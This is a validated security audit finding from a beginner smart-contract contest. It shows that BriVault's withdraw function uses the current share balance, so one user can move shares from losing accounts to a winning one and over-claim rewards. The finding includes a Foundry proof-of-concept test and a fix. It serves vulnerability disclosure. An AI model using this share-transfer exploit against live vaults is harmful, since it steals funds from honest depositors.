BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Winners can withdraw more than their expected rewards

0xnetero

Root + Impact

Description

  • One user can use multiple account to bet on multiple teams.

  • If one of his accounts being winner, he can transfer his share tokens from losing accounts to the winning account to withdraw more than the expected asset tokens.

  • Expoit in the balanceOf to retrieve the shares balance of the winner at the time he calling withdraw function

function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
​
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
//@audit one user can use multiple account to accumulate shares, then transfer shares to the winning account
uint256 shares = balanceOf(msg.sender);
​
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
​
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
​
emit Withdraw(msg.sender, assetToWithdraw);
}

Risk

Likelihood: High

  • When winners used multiple accounts for betting and one of those accounts become the winner

Impact:

  • Malicious users can withdraw more than the expected reward he eligible to claim

Proof of Concept

  • Add this test case to britVault.t.sol

  • Assume that user1 and user3 accounts belong to one malicious user; user4 is a normal user

function test_winner_with_multiple_accounts() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
​
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
uint256 user1Shares = briVault.deposit(5 ether, user1);
briVault.joinEvent(10);
uint256 balanceBeforuser1 = mockToken.balanceOf(user1);
vm.stopPrank();
​
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
uint256 user2Shares = briVault.deposit(5 ether, user2);
briVault.joinEvent(10);
uint256 balanceBeforuser2 = mockToken.balanceOf(user2);
vm.stopPrank();
​
vm.startPrank(user3);
mockToken.approve(address(briVault), 5 ether);
uint256 user3Shares = briVault.deposit(5 ether, user3);
briVault.joinEvent(30);
vm.stopPrank();
​
vm.startPrank(user4);
mockToken.approve(address(briVault), 5 ether);
uint256 user4Shares = briVault.deposit(5 ether, user4);
briVault.joinEvent(10);
uint256 balanceBeforuser4 = mockToken.balanceOf(user4);
vm.stopPrank();
​
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(10);
console.log(briVault.finalizedVaultAsset());
vm.stopPrank();
​
// assume user1 and user3 accounts are belong to 1 malicious user
// user3 transfer share tokens to user1
vm.prank(user3);
briVault.transfer(user1, user3Shares);
​
// user1 withdraw and get more rewards than user4
vm.prank(user1);
briVault.withdraw();
vm.stopPrank();
​
// user4 is a normal user
vm.startPrank(user4);
briVault.withdraw();
vm.stopPrank();
​
assert(mockToken.balanceOf(user1) > mockToken.balanceOf(user4));
}

Recommended Mitigation

  • Use userSharesToCountry state instead of calling balanceOf to fetch the shares balance of the user in withdraw function

- uint256 shares = balanceOf(msg.sender);
+ uint256 shares = userSharesToCountry[msg.sender][winnerCountryId];
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!